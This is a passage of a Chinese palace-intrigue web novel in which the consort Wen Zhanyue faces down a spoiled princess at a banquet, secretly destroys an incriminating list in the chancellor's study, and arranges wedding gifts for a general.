比如慕容宸的妹妹慕容展颜,还有上官白的好友江景,个个都是京都城里有头有脸的人物。 这些都在她的婚宴上露过面,只不过她当时盖着盖头,并没有深交。 “长公主到!”随着一声尖细的嗓音,一辆更加豪华的马车停下相府门前。 所有人都朝着这边看过来。 帘子被掀起,一个娇俏的姑娘露出面来。 姿容不能说是倾国倾城,但却称得上是雍容华贵,这大概就是金钱滋养出来的人,一双灵动的眼睛不谙世事,看着就让人觉得美好。 容烟从马车上跳下来,她越过温斩月,直接来到苏皖书的面前,毫无顾忌地搂着苏皖书的胳膊。 “书姐姐,好久没见,烟儿都想你了。” “公主别闹。”苏皖书抽出胳膊,朝着温斩月看过去,“那位是夜王妃,您得跟她行礼。” “笑话。”容烟没好气道。 “容妄又不是本公主的亲皇叔,一个外来子也想得到本宫的尊重,痴人说梦。” 容妄的身份一直都是天月的禁忌。 虽然封了王爷,但毕竟血统不纯,京都好多世家虽然面上惧怕这位夜王殿下,可打心底里都瞧不上。 不过瞧不上归瞧不上,还从来都没有人敢这么光明正大的说出来。 “公主此言差矣,夜王殿下战功赫赫,值得每个天月人尊敬,反倒是公主你,食皇家俸禄,享无上尊荣,却不曾体会民生,实在是可笑。” 谢洲白刚才躲在温斩月的身后,没有人注意到他。 他一开口,所有人的目光都朝着他看过去,尤其是秦落雪,当下便慌了神,脚下一软,幸好旁边的慕容展颜扶了她一把。 “秦二小姐这是怎么了?” “没什么。”秦落雪掩饰心底的慌乱。 她不知道谢洲白为何出现在这里,也不知道谢洲白怎么会和温斩月有联系。 她只知道,如果她和谢洲白的过往被人翻出来,那京都就真的没有她的立足之地了。 谢洲白也看到了秦落雪,但他很快便垂下眼眸,立在温斩月的身后。 “大胆,你算个什么东西,也敢来置喙本公主!”容烟抽出一旁侍卫的利剑,便要朝着谢洲白的身上招呼过去。 所有人的心都提到了嗓子眼上。 只是容烟手里的剑刚挥出去,就被温斩月击飞。 钢铁铸成的剑,落在地上,四分五裂,发出叮铃哐啷的声响。 “你大胆!竟然敢欺负本公主!”容烟的手臂被整的发麻,看向温斩月的眼神里,竟然有一丝委屈。 苏皖书快步走来,将容烟护在身后。 “夜王妃这是何意?为了区区一个下人伤了长公主,你就不怕皇后娘娘怪罪于你吗?” “他不是下人,而是王府的幕僚。”温斩月歪了歪头。 “今日是相府的赏花宴,若是长公主有什么差错,你一样也要吃不了兜着走的,黄泉路上,有人陪着本宫,本宫自然是不怕的。” “你胡说,母后才不会惩罚书姐姐呢。” “是吗?”温斩月阴恻恻道:“那要是公主命丧于此,皇后还会坐视不管吗?” “你想杀了本公主?” “本宫可没这么说。”温斩月双手环胸。 “只是出门在外,难免会遭遇意外,本宫也是为了公主考虑。” 容烟对温斩月听得不多,但秦落雪却是见识过温斩月手段的,若是真闹到一发不可收拾的时刻,她丝毫不怀疑,温斩月真能一刀捅穿所有人。 “公主,今日是相府的赏花宴,还是不要节外生枝的好。”秦落雪在一旁小声劝说道。 苏皖书也来附和,“公主,别气了,今日我准备了好些你爱吃的东西呢,走,咱们进去瞧一瞧。” 容烟虽咽不下这口气,但还是给了苏皖书面子。 一群人乌泱泱的簇拥着容烟朝里面走去。 温斩月准备跟上,谢洲白却迟疑着没有上前。 “怎么了?”温斩月挑眉。 谢洲白摇摇头,“没什么,就是突然感觉身体有点不适,想先回去。” “是身体不适,还是心里不适。”温斩月冷声道:“难道以后有秦落雪的地方,你都要躲避吗?” “王妃知道?”谢洲白震惊抬眸。 温斩月冷嗤一声,“本宫眼皮子底下放什么人,自然是要先调查一番的,秦落雪和王爷关系不错,你觉得本宫会不查个底朝天吗?” “说的也是。”谢洲白自嘲一笑。 “今日王妃特意找我来,难道就是想看我的笑话吗?” “本宫是想告诉你,天涯何处无芳草,何必单恋一枝花。”温斩月勾唇笑笑。 “本宫觉得那苏皖书就不错,秦落雪都可以弃你而去,你也是时候该选择新的生活了,沉迷于过去,对你,对她,都不好。” 这道理谢洲白何尝不明白,只不过情之一字,难以书写。 若是有那么容易放下,他也不止于此。 “走吧,别让本宫失望。”温斩月率先走进去,谢洲白紧随其后。 一行人来到相府西院,苏皖书已经提前准备好了宴席,每个人都有固定的位置,温斩月的位置刚好挨着秦落雪。 她没说什么,直接走过去坐下,谢洲白就站在她的身旁。 “首先感谢大家能来我苏皖书的席面,既然名为赏花宴,自然也是少不了饮酒作诗,来人,将我珍藏多年的好酒拿上来。” “书姐姐还准备酒了啊。”容烟两眼放光。 苏皖书摇摇头,“公主不可以哦,我特地为公主准备了果饮。” “无趣。”容烟瘪瘪嘴,“在皇宫里母后管着我,来到这里,书姐姐也要管着我,真是没劲儿极了。” “公主年岁还小,等长大的大一些,我一定和公主不醉不休。” “好吧,那就听你的。” 容烟心中虽然不情愿,但也没再多说什么。 很快,丫鬟们便抬上来几坛酒,苏皖书打开其中一坛,瞬间酒香四溢,流窜在每个人的鼻间。 “这酒闻着真香啊,也不知道是从哪家店买的?” “这你就不知道了吧,这酒可不是买来的,而是苏小姐自己酿的,听人说,好像是为了自己出嫁准备的。” “那给我们喝岂不是浪费了?” “这怎么能算是浪费呢?”苏皖书眉眼弯弯。 “左右我也寻不到良人,还不如拿出来和姐妹们一起享受呢。” 苏皖书将酒分给众人,温斩月也得到了小小一壶,她对酿酒之术本就颇有造诣,这坛酒的确不错,但也不至于到极品的地步。 将酒扔给一旁的谢洲白,温斩月冷声道:“赏你了。” “你这是什么意思?”容烟横眉冷对道:“苏姐姐好心给你酒喝,你却把它给一个卑贱之人,你如此羞辱书姐姐,是存心要给她难堪吗?” “公主说话注意点。”温斩月冷声。 “谢公子是王府幕僚,身上亦有官职在身,公主再怎么嚣张跋扈,也不能辱骂朝廷命官,否则,这事要是传到圣上耳朵里,本宫倒要看看,公主怎么辩驳。” “王妃何必和公主置气。”苏皖书走来。 “是我想得不周到了,这就为谢公子再拿一壶酒来。” “不必了。”温斩月摆手。 “本宫不喜酒色,他喝本宫的那份就行。” “王妃也太不给皖书面子了,她可是相府的千金,王妃这般推诿莫不是看不上?”一旁的林轻盈阴阳怪气道。 温斩月抬眸,淡淡地扫了一眼。 “看来是之前本宫打得轻了,才会让你不长记性,还敢在本宫面前狗叫。” 林轻盈顿时吓得一哆嗦。 苏皖书挡在林轻盈的面前,不满地看向温斩月。 “今日是我相府的赏花宴,夜王妃还是收敛着些,别想当着我的面,欺负我的人。” “本宫欺负了又能怎?” “温斩月!”苏皖书气愤道:“今日有公主在场,你就算再狂妄也要收敛着点,否则,闹到圣上那里你不好看,夜王殿下也要受牵连。” “本宫不怕,王爷也不会怕。”温斩月嚣张至极地往后一靠。 “不如试试?” 苏皖书气急,她长这么大就没见过这么难对付的人,本来还想替林轻盈算账,结果一来二去,已经吃瘪好多次了。 光脚的不怕穿鞋的,温斩月好像一点软肋都没有,让她都不知道从何处下手。 几番对峙中,苏皖书还是败下阵来。 “都是轻盈的不是,我替她跟王妃赔罪。”苏皖书说着,倒了一杯酒递过来。 温斩月笑着,没接。 “你不要不知好歹,书姐姐都主动给你赔罪敬酒了,你还想干什么?”容烟气红了脸。 “我替王妃喝吧。”谢洲白上前,准备接酒。 容烟走过来,狠狠地推了谢洲白一把。 “你算个什么东西,也配喝书姐姐敬的酒?” “王妃不喜酒色,苏小姐与公主还是莫要再为难王妃了。”谢洲白垂眸,让人看不出情绪。 一旁的秦落雪忽然站起身来。 她娉婷袅娜地走过来,对着容烟和温斩月行礼。 “不知落雪有没有这个福分可以替王妃喝这杯酒?”秦落雪朝着苏皖书伸出手。 “落雪之前与王妃误会颇多,这杯酒就当是落雪和王妃冰释前嫌,不知二位能否给落雪这个面子?” 秦落雪虽然是定国公府家的小姐,但大家都知道,这位秦二小姐是不受宠的。 但若局面僵持,继续下去难堪的只能是苏皖书。 她看了一眼秦落雪,知道这是秦落雪主动递过来的梯子,她若是不顺势而下,待会可就骑虎难下了。 “既如此,那本小姐就给你这个机会。”苏皖书将手中的酒杯递到秦落雪手中。 秦落雪毫不迟疑,一仰而尽。 这姿势洒脱的让温斩月身旁的谢洲白心疼。 他匆匆看了一眼秦落雪,又将头垂了下去。 是他没用,在这种时刻,还要雪儿替他解围。 喝完了这杯赔罪酒,刚才的不开心仿佛没有发生过,所有人都落座,苏皖书特意多瞧了几眼谢洲白。 赏花宴正式开始,大家饮酒作诗,轮番展示自己的才气。 温斩月对这些都不感兴趣,百无聊赖地坐在一旁,与整个赏花宴格格不入。 大抵是玩得开心了,有些人便放开了胆子,慕容展颜从一开始就对温斩月十分好奇,这会儿喝了酒,便壮着胆子过来搭讪。 “王妃,您不喝酒,也不作诗,这赏花宴参加的岂不是无趣?”慕容展颜甜甜一笑。 “我听阿兄说,王妃您身手不错,不如给我们开开眼?” “你想如何开眼?” “都行。”慕容展颜嘿嘿一笑。 “我很小就崇拜那些征战沙场的将军,但奈何我体弱多病,只能待字闺中,很是可惜。” 温斩月并不迟钝,她分得清恶意和善意。 慕容展颜大概真的只是想开开眼。 温斩月抽出一旁侍卫手里的剑,走到慕容展颜的身边。 “你想学的话,本宫可以教你。” “真的可以吗?可是……” “没有可是。”温斩月说完,便将手中的剑塞到慕容展颜的手里。 她带着慕容展颜挥动手中的剑,一招一式,飒爽利落。 慕容展颜起初有些害怕,可靠着温斩月,她觉得格外安心,便放松了身体,整个人任由温斩月带着飞檐走壁,斩落春花。 一顿行云流水的剑术下来,漫天都是花雨。 “哇,好漂亮啊。” “夜王妃真厉害,我也想让她教教我。” “怪不得夜王殿下会对王妃情有独钟,这一套剑术下来,我都要心动了。” “但可惜了,你是个女子。” 众人你一言我一语,慕容展颜在漫天的花雨里,什么都听不到,她只能看到温斩月冷静的面容。 慕容展颜不知道心动为何物。 但这一瞬间,心跳仿佛是停止了。 “王妃好剑术,不如和本公子比试比试。”一旁许久未发言的江景忽然提剑而来。 那破风的剑刃朝着慕容展颜挥过来。 慕容展颜顿时瞪大了眼睛,就在她以为自己要躲不过去时,身后的人忽然将她松开,一只手抬着她握剑的那只手迎上了江景破风而来的剑刃。 第43章 涉案名单 江景的剑术并不算差。 但温斩月在慕容展颜的拖累之下,还可以跟江景打个有来有回。 甚至隐隐占了上风。 江景一开始只是带了试探的心思,但温斩月招招狠辣,他不得不拿出自己的真正的实力,三人打的热火朝天,周围的人全在看戏。 “夜王妃的武功居然这么好?” “谁说不是呢,江景公子武功不差的,没想到在夜王妃的面前居然讨不了半点好处。” “真想变成慕容小姐。” “你醒醒吧,夜王妃也不是随便什么人都可以搭讪的。” 比试在众人的议论中暂停。 温斩月看到怀里气喘吁吁的慕容展颜,直接来了个狠招,一下击飞了江景手中的剑。 “王妃果然厉害,江某心服口服。”江景捡起剑,回到自己的位置上坐好。 “还可以吗?”温斩月从怀里掏出帕子,递给慕容展颜。 慕容展颜擦了擦额头的汗珠,虽然很累,但她看上起十分开心。 “多谢王妃,这是我这么多年以来,最开心的一天,咳咳……”慕容展颜咳嗽几声,血色沾满温斩月的手帕。 “抱歉啊,王妃。”慕容展颜一脸歉疚。 “回头我定送一张新的帕子给王妃。” “无碍。”温斩月牵起慕容展颜的手腕,她精通毒术,对于医术自然也就略懂一二。 慕容展颜的脉搏很微弱,虽然不是中毒,但身体的确沉疴已久。 “王妃不用费心,我这是老毛病了,从小便体弱,估计也没几年好活了,所以只想剩下的人生可以自由自在一些。” “别太急着放弃自己。” 温斩月松开慕容展颜的手,“世间良医诸多,本宫恰好认识一位,你要是愿意,本宫可以为你引荐。” “当真?” “本宫从不骗人。” 慕容展颜的眼睛在一瞬间亮起来,她与温斩月素不相识,大可不必为她做到这个份上的。 但温斩月愿意。 看来世人传言夜王妃行事乖张,不好相处,也只是个偏见。 “那展演在此谢过王妃了。” 回到自己的位置上坐好,温斩月把剑还给侍卫。 苏皖书本来打算要想个法子教训一下温斩月的,可是看到刚才温斩月一套行云流水的剑术,她自己也被折服了。 就连一旁的容烟也看得呆了。 她还是头一回见女子耍剑能耍的如此飒爽,好看。 从位置上起身,容烟别别扭扭地走过去,颐气指使道:“你武功不错,本公主很是喜欢,你要不要来教教本公主?” “不要。”温斩月果断拒绝。 “你!”容烟气得跺脚,“本公主要你来教,是看得起你,你以为自己是个什么东西,还敢拒绝本公主!” “公主想死的话,大可以再说些难听的来。”温斩月冷眸一扫,“本宫不介意把公主的舌头割下来下酒。” “你你你,你真野蛮!”容烟吓得躲在苏皖书的身后,生怕自己的舌头被割了去。 苏皖书也看的出来温斩月是故意吓唬。 “王妃何必总是吓唬公主,公主年岁还小,不禁吓。” “那本宫来吓吓你?” “大可不必,本小姐也禁不住吓。”苏皖书拉着容烟回到自己的位置上,她目光扫了一圈。 “赏花宴重点在赏花,相信大家都已经吃饱喝足了,既如此,那便随我去花园吧。” 相府的花园很大,里面有很多培育的名花,一群人来到花园里,看到满院子的花,忍不住纷纷感叹起来。 就连容烟都觉得不错。 “书姐姐,你家花园的花看上去比父皇的御花园还要好看些呢。” “公主可别乱说。”苏皖书急忙道:“相府肯定和御花园比不了的,但也值得大家一看。” 一群人纷纷散开,都去欣赏自己喜欢的花种。 只有温斩月很不感兴趣,她本想带着谢洲白去见见苏皖书,可刚走了一步,便被一个丫鬟撞到。 丫鬟手里端着茶水,溅了温斩月一身。 “王妃饶命,奴婢不是故意的!”说着,那丫鬟还拿起帕子给温斩月擦了擦。 温斩月接过帕子,冷声,“无碍。” “多谢王妃。”丫鬟急忙端着茶水走了。 温斩月走到角落里,打开帕子,看到上面的内容时,眼神瞬时冷冽。 义父真是好手段,眼线都安排到了相府。 “书房有涉案名单,拿到,销毁。” 温斩月看着这几个字,将帕子扔到一旁的水池里,那帕子沾了水,上面的墨迹很快就模糊不清了。 思考片刻,温斩月朝着苏皖书走去。 苏皖书和容烟两人整对着一朵花评头论足,看到温斩月走来,容烟下意识的就躲在了苏皖书的身后。 谁料想,温斩月连个眼神都没给她。 “本宫的衣裳被丫鬟打湿了,可否换一套新的?” “王妃若是不嫌弃的话,我带您去换一套吧。”苏皖书对着容烟道:“公主在此稍等片刻,我待会便来。” “那你快点,本公主一个人无聊的很。” “公主放心吧。”苏皖书笑笑。 她带着温斩月去了自己的院子,找出一套自己的衣服给温斩月。 “王妃试试吧,这套穿起来应该不错。” “苏小姐先回避下。” “都是女子,有什么好害羞的。”话虽这么说,但苏皖书从房里退了出去,顺带着关好了门。 “王妃换好了就出来吧,我先去招呼旁人。” 苏皖书一走,温斩月便从窗户翻了出去,相府的格局很大,并不比夜王府小,好在温斩月轻功厉害,不费什么吹灰之力便找到了相府书房。 只是书房有重兵把守,想要闯进去自然是不太可能了。 留给她的时间也不多,温斩月思考一番,还是觉得没有必要冒险,她将相府的格局一一记下来,准备离开时,忽然有丫鬟闯进来。 也不知道那丫鬟说了什么,守着的侍卫忽然离开了。 这个机会很占天时地利人和。 温斩月来不及多想,趁着四下无人,朝着书房而去。 另一边,苏皖书不过是离开了一小会儿,没想到就这么一小会的功夫,容烟不知怎么地就掉水里去了。 秦落雪自小在边疆长大,会水性,她将容烟打捞上来。 容烟倒是没什么事,但两人身上的衣服也都湿透了,情急之下,谢洲白解下自己的外衫该给秦落雪披上。 秦落雪却将衣衫传到了容烟公主的身上。 她的名声坏了不要紧,但容烟是公主,要是出了什么差错,所有人都要问责。 苏皖书回来时,看到的便是这样一副场景。 她皱皱眉头,神情不悦。 今日到底是得罪了哪家水神,怎么一个两个的都跟水过不去。 她正要带着两人回到院子里换衣裳,就听到下人来报,说是西边的院子走水了,火势很大。 一时之间,整个相府忙作一团。 西院的火势虽大,但并不难控制,相府上下齐心协力,很快便扑灭了火焰。 正巧苏相从外面回来,瞧见这乌烟瘴气的场景,忍不住责怪的看向自己的宝贝女儿。 苏皖书心中也委屈呢,她好不容易办一场赏花宴,没想到竟然是这样收尾。 “今日对不住大家了,改日再让小女重新举办宴会,邀请各位来府上,好好赏花饮酒。” 本来火势一起,众人也没了心思。 此时也听得出来苏相这是下了逐客令,大家都点点头,准备离开。 就在众人要走时,一名侍卫忽然走来,朝着苏相耳语几句。 苏相脸色瞬变。 “且慢。”苏相眼神质疑地扫了一眼。 “相府少了一样东西,还请各位稍安勿躁,等相府排查后,找到小偷,再放各位离开。” 此话一出,所有人都开始不满起来。 “这是把我们当什么了?虽然我们不如相府有钱,但谁稀罕你们相府的宝贝啊。” “就是,今日来到这里的,哪个不是家大业大,谁会去偷东西啊。” “今日来参加赏花宴,没想到遇到这档子事,本来就已经挺晦气的,还想要扣留我们。” “就是就是,赶紧放我们走,多待一刻,我们都觉得晦气。” 众人你一言我一语,闹得苏皖书很是没面子。 她看向自家父亲,刚要开口,就被苏相打断。 “各位莫要生气,相府丢了的东西不是什么宝贝,但也的确重要,只有调查清楚,本相才能放各位走。” “各位有什么怨气就冲着本相来吧,洗清嫌疑后,本相会一一赔罪的。” 话虽这么说,但谁敢让当朝相爷赔罪,只能忍气吞声下来。 苏相扫了一眼众人,又将目光看向自己的女儿。 “今日宾客全都到场了吗?” “还差一人。”苏皖书闷闷不乐道:“夜王妃的身上打湿了,女儿带她去换衣服,人就在女儿的院子里。” “不好!”苏相暗道一声。 他吩咐其他人在原地等着,自己带着四名侍卫前来抓人,只是人刚到院子里,就瞧见温斩月换好衣服,从房里走出来。 “夜王妃。”苏相眸光扫过,开门见山道:“本相府上丢了一件东西,不知夜王妃可有见过?” “什么东西?”温斩月顺着台阶走下来。 “相爷可以告知一二,本宫说不定见过呢。” 苏相眼中寒光毕现。 “王妃要是见过的话,趁现在交出来,本相可以当做什么都没发生。” “相爷都不说什么,本宫怎么知道见没见过?”温斩月疑惑蹙眉。 这一番极限拉扯,双方都不让步。 苏相有种直觉,他丢失的东西就在眼前人的手里,可是他没有证据,也不能直说自己丢了什么。 “夜王妃,打开天窗说亮话吧,要怎么样才肯把东西交出来。” “相爷这话说得奇怪。”温斩月一脸不解。 “本宫真的不知道相爷要什么,只要相爷说出来,本宫肯定愿意给的。” “夜王妃莫要装傻了。” “本宫用不着装傻。”温斩月背着手,“若是相爷不信本宫的话,那便来搜身吧。” “搜到了本宫任由相爷处置,要是搜不到,那可就别怪本宫要去王爷那里告状了。” 这个世上,比阴谋更让人没办法的是阳谋。 温斩月越是坦率大方,苏相越不敢轻举妄动。 可若是就将人这样送回去,万一东西真在这人的身上,那岂不是肉包子打狗一去不回? 尤其是这东西要是落在夜王手里,那可就大事不妙了。 苏相迟疑着,没有动作。 温斩月等得不耐烦了,忍不住道:“相爷要是不查的话,本宫可就要走了,王爷与本宫新婚夫妻,不能独守空房,一夜都不行。” “要是王爷等不到本宫,前来寻本宫,那事态可就和现在不一样了。” 这番话威胁的意味很重。 苏相老奸巨猾,自然也能听得出来。 他迟疑片刻,还是找了嬷嬷来,“那就抱歉了,只要搜过身,确定王妃身上没有本相的东西,本相便送王妃走,改日亲自去王府,给王妃赔罪。” “搜吧。”温斩月伸展双臂,一副坦坦荡荡的样子。 嬷嬷上前,仔仔细细地搜过,确实没有从温斩月的身上找到任何东西。 “相爷,王妃身上什么都没有。” “搜仔细了?” “很仔细。” 嬷嬷是相府的人,自然不会作假。 苏相心有不甘,但也只能放温斩月离开。 扣押在前院的那些人也都被一一排查后,放了出去。 一行人刚走,便有侍卫来报,说是在书房的火盆里看到了灰烬,苏相快步赶过去,的确在灰烬里面找到了一丝没有烧干净的字迹。 他顿时松了口气。 虽然这东西烧毁了也是他的失职,可总比被人偷走的好。 要知道这份名单涉案最多的就是太子党,若是被有心之人拿去利用,那太子之位可就悬了。 不过,他不能放松警惕。 这烧毁名单的人是谁,他必须找出来,否则,留着始终是个隐患。 温斩月从相府离开后,哪都没去,直接回了王府。 一到锦绣阁,便将自己看过的名单都默写下来,她就这点好,对于自己看过的东西基本上都能记住。 默写下来后,温斩月又手抄了一份,将原本的放在机关匣里装起来。 把抄写好的这一份连同书信一起交给春夜,要她送给梨落,等梨落看了信件,自然明白她要做什么。 第44章 放过谢洲白 做完这一切,温斩月靠着椅子闭目养神。 默写名单耗费了她一定的心神,她此时觉得有些疲累。 容妄进来时,便看到温斩月一副疲态,他轻手轻脚的走进去,手指放在温斩月的太阳穴上。 只是指尖刚触碰到,温斩月便醒了。 “王爷什么时候来的?” “刚来。”容妄指尖轻轻按压着。 “赏花宴很不愉快?” “还好。”温斩月重新闭上眼,“就是无趣的紧,一群人叽叽喳喳,很是吵闹。” “那以后别去了。” 容妄拦腰抱着温斩月来到软榻上躺下。 “本王有一事要与你商量。” “什么事?” “风展的婚事。”容妄坐在榻边,给温斩月捏捏肩膀。 “风展是本王的副将,跟随本王出生入死,本王对他自然是高看一眼,此番他为了不让本王为难,决定娶了林素之女。” “本王不想他太委屈,所以想用王府的私产,给他置办一点家底。” “毕竟是要成亲的人了,不能总是住在校场,也该有个自己的窝。” “应该的。”温斩月点头。 “这件事情臣妾会看着办的。” “那便好。”容妄在温斩月额头上落下一吻,“既然说完了正事,不如做一点不正经的事。” “昨晚还没够?” “日日夜夜都不够。” 容妄欺身而上,温斩月攀附着容妄,两人一次又一次地在爱欲里沉沦。 …… 梨落要忙东六街的事,好在招商会办得不错,她手底下有的是人。 将所有的流程都理清楚后,梨落终于可以闲下来喘口气。 谁知一口水还没喝明白,就收到了春夜送来的信封,她打开看完以后,眼底的愁绪又多了几分。 故事的发展终将还是要走到这一步。 她只想开展赚钱搞事业的种田文剧情,可貌似最终还是逃不过权谋的命运。 叹了口气,梨落只能挨个去查。 换了身衣服,梨落出了珍宝阁,红袖迎了上来。 “老板娘这是要出去?” “说了多少遍了,叫我老板。”梨落白了一眼,“老板娘另有人选,你再乱叫,小心我解雇你。” 红袖和添香都是梨落最近找来的得力帮手。 两人业务能力都是最能抗的。 听到梨落这么说,红袖吐吐舌头,“知道啦,老板,下次老板娘来的时候,老板可要告诉我们啊。” “不该你们操的心少操,管好生意,做好账本,我晚上来查。” “好的,老板。” 离开珍宝楼,梨落带上斗笠,朝着热闹的街市隐去。 …… 上官府,后花园。 上官白正悠然自得地喂鱼。 一旁的江景忍不住走过来,将一碗的鱼食全部倒在水里。 “你干什么?”上官白蹙眉。 江景冷笑一声,“你跟我说起这个夜王妃的时候,可没有说过她的武功如此高强,你知不知道她在被人拖累的情况下,还打飞了我的剑。” “这样的人你惹她干什么?如今连累我也得罪了她,万一她要是找我算账,我该怎么办?” “明着打不过,暗地里也阴不来。” “稍安勿躁。”上官白拍拍江景的肩膀,“江兄你就放心吧,那夜王妃也不是随便什么人都放在眼里的,她盯上我,完全是因为我的钱,但江兄你身无长物,都不配被她当做对手。” “你还好意思说!”一提这个,江景就一肚子气。 “要不是你跟我说,她为难过你,我何至于去得罪她?你现在又说这些风凉话,我真是瞎了眼,跟你这样的人当兄弟!” “别气了好不好?”上官白耐着性子哄道。 “我说的也是大实话,你放心,她不会找你算账的,你那点得罪根本算不上什么。” “我发现你现在对她的印象似乎跟一开始不一样了。” “是有一点改观。”上官白走过来坐下。 他起初对温斩月十分不满,毕竟,他不认为整个京都城还有比他经商更牛逼的人。 但温斩月手底下的梨落做到了。 再加上招商会那日,温斩月和刺客之间的飒爽对决,他忽然就没有那么讨厌这个人了。 “放心,江兄的损失,小爷都可以赔的。”上官白说着,从怀里掏出一张地契。 “送你。” “你要把赌坊送我?”江景瞬间瞪大了眼睛。 他一直都想要上官白西四街经营得最好的财多多赌坊,但不管他如何说,上官白都不同意。 没想到现在居然愿意直接送给他。 “这莫不是有诈?” “要不要,不要我的话我可拿走了。” “要要要。”江景急忙将地契接过来,放在自己的怀中揣好。 上官白笑笑不说话。 他从前不愿意将财多多拱手让人是因为西四街是整个京都城里最繁华的地方,他的财多多也是圈钱最好的场所。 可现在,他十分清楚,将来风水轮流转,东六街才是真的商机。 所以干脆把财多多当成是个人情送给江景,而他自己,也要开始发展新的版图了。 江景本来心中还有怨气的,可吃人嘴短,拿人手软。 有了财多多他也不好再跟上官白置气,两人把酒言欢,好似刚才的不愉快没有发生过一般。 …… 又是一整夜的折腾,天亮容妄便出去了。 温斩月睡到下午才醒,她不明白容妄的精力怎的这般旺盛,竟一点都不觉得累。 “王妃,要不要传膳?” “弄点清淡的吧。”温斩月梳洗过后,来到书桌前坐下。 她翻出王府的家底,从里面挑了挑。 风展好歹是个将军,自然不能寒酸了去,王府的宅院众多,但除了宅院,她还想要添置一点别的。 为国为民的将军,成亲也该风风光光。 挑出几张地契,温斩月用过膳食后,便带着良辰美景出了门。 她挨个去考察了这些宅院,最后在北五街的一处宅院里停下,这里离校场不远,周围的交通,商铺也都十分便利,是个不错的选择。 就是宅院许久没有人搭理,看上去有些荒芜。 “王妃是想将这座宅院赠与风展将军吗?”良辰扫了一眼,道:“这里倒是不错,就是可能需要重新修缮一番。” “无碍。”温斩月大概瞅了一眼。 “修缮的成本并不高,可以接受。”从怀中掏出一沓银票,温斩月递给良辰,“这件事情交给你去办,找一些人来,务必要修缮得漂亮妥当。” “奴婢遵命。” “美景,你同本宫去街上,定制一批家具,摆设来。” “是,王妃。” 三人兵分两路,各自行动。 温斩月带着美景在城中逛了许久,定制了许多的家居好物,准备得差不多时,温斩月又去了一趟首饰铺子。 她与林清霜没什么交情。 但林清霜要成婚,她也想送一套首饰。 “夜王妃也来做首饰?”身后传来熟悉的声音。 温斩月转过头,看着秦落雪朝着自己走来。 “秦二小姐?”温斩月回过头,“本宫今日心情不错,秦二小姐就别来找本宫的晦气了。” “王妃误会了。”秦落雪走上前来。 “落雪是特意来赔罪的。” 温斩月手一顿,偏头,“此话何意?” 秦落雪没说话,掏出钱放在柜台上,“今日王妃消费,落雪买单。” 温斩月挑眉,默认。 秦落雪示意温斩月跟她来。 两人来到后院,秦落雪忽然跪在地上。 温斩月蹙眉,“秦二小姐,这又是唱的哪一出啊?” “王妃恕罪。”秦落雪闭着眼,似乎是下了很大的决定。 “珍宝楼,招商会,刺杀一事是落雪安排的,落雪不满王妃许久,便想要除掉王妃,这才花了重金买通刺客,想要杀了王妃。” “哦?”温斩月双手环胸。 “本宫倒是一点不意外呢。” 事情发生后,温斩月就猜测过,只不过她最近手头的事太多了,便把这一茬给忘了。 没想到果然不出她所料,刺客真是秦落雪安排的。 秦落雪仰着头,态度陈恳,眼神真挚。 “不管王妃信不信,落雪都要说个明白,在招商会上,王妃同意落雪可以一起合作时,落雪便再也没有想要刺杀王妃的心了,只是事情还是发生,落雪自知万死难辞其咎,但还请王妃高抬贵手,放过谢洲白。” 原来如此。 温斩月笑出了声。 她刚才还在想,就凭秦落雪这自私自利的性子,怎么可能会来找她认错,没想到还是为了谢洲白。 嘴上说着划清界限,以后互不相干,但心底里,却一直没放开。 “秦二小姐说的话,本宫怎么有些听不懂啊?” “王妃不必装。”秦落雪握紧双手,“若不是我的缘由,王妃怎会接近谢洲白?我知道王妃不喜欢我,只要王妃不为难他,我以后再也不会出现在王爷面前,更加不会去挡王妃的路。” “笑发财本宫了。”温斩月冷嗤。 “你以为,你想挡本宫的路,便能挡住吗?”温斩月单手牵制住秦落雪的下巴。 “你既然决定与谢洲白划清界限,那么,他的事情从此便与你无关。” “王妃这是执意要为难谢洲白了?” “你哪只眼睛瞧见本宫为难他了?”温斩月松开手。 “谢洲白有才,本宫惜才,把他招募麾下,自然是给了他一个机会,反倒是你……”温斩月顿了顿。 “既然已经抛弃,就别再回头了。” 温斩月说完,便头也不回的离开了。 路过柜台时,她挑了一套不算便宜的首饰,差人送到林府。 秦落雪从后院出来,温斩月已经不见踪影。 但温斩月说的话却一字一句落在她的心里。 在做出决定的时刻,她便和谢洲白再无干系,谢洲白愿意追随谁,都是谢洲白自己的事情。 她不该多管闲事的。 …… 首饰送到林府时,恰巧被林轻盈看到。 她拦下来送礼的人,把首饰拿在自己的头上比划。 “这么漂亮的首饰就应该给我,林清霜一个丑八怪也配戴吗?” “林二小姐。”送礼的人规规矩矩道:“这是夜王妃送给林大小姐的成亲礼物,还请林二小姐还回来。” “什么成亲礼物,还不都得归我。”林轻盈嘀咕一句。 但当着众多人的面,她也不好落人口实,只好把首饰都放回去,看到送礼的人走远,才恨恨道:“有什么了不起的,不就是一套首饰吗?暂且就让你再得意几天,到时候首饰,将军,都是我的。” 林清霜的脸已经好了许多,收到温斩月送来的首饰,她十分惊喜。 “谢过王妃。”林清霜将首饰收起来。 她翻箱倒柜地找出来一个小盒子,盒子里面放着的是一枚古玉扳指,是她娘亲代代传下来的。 王妃对她的大恩大德她无以为报,手里只有这枚白玉扳指值点钱了。 “劳烦您将东西送给王妃,就说是我感谢王妃对我的再造之恩。” “这我可不敢收。”送礼的人连连摆手。 “王妃早就料到林大小姐会这般,提前吩咐过我等不能收您的回礼,王妃说了,您要是真的想感谢她,婚后把自己的日子过好,比什么回礼都好。” “林大小姐就别再为难小的了,好好收着礼物,安心待嫁吧。” 东西已经送到,人便没再逗留。 林清霜将首饰收起来,心中十分感动。 她虽然知道风展是为了堵住众人口实才娶了她,可毕竟新婚,她对婚后的日子还是充满了期待。 若是真能像是王妃说的,过好自己的日子,那已是求了上上签。 “霜儿。”王氏从外面走进来,“刚才来的人是王妃派来的吗?” “嗯。”林清霜点点头。 “王妃差人送来了一套首饰,作为我新婚的礼物,我本想用这枚古玉扳指来偿还王妃的恩情,但被拒绝了。” “王妃待你是真好。”王氏走过来,拍拍女儿的肩膀。 “好在你嫁的人是风展将军,以后你夫妇二人一体,都可以为王爷效力,王爷是王妃的夫君,这也算是另外一种报答了。” “母亲说的是。”林清霜将古玉扳指收了回去。 “王妃对我的恩德也不是一朝一夕能偿还的,反正往后日子还长,等我嫁了人,慢慢还她便是。” 第45章 谁的醋坛子翻了 王氏点点头,拉着女儿来到一旁坐下。 “你要嫁人,母亲自然也是要为了准备一笔嫁妆的。”王氏从怀里掏出一份嫁妆单子。 “母亲虽不受宠,但嫁妆这些年一直都牢牢地窝在手中,你出嫁时,母亲定要你风风光光的。” 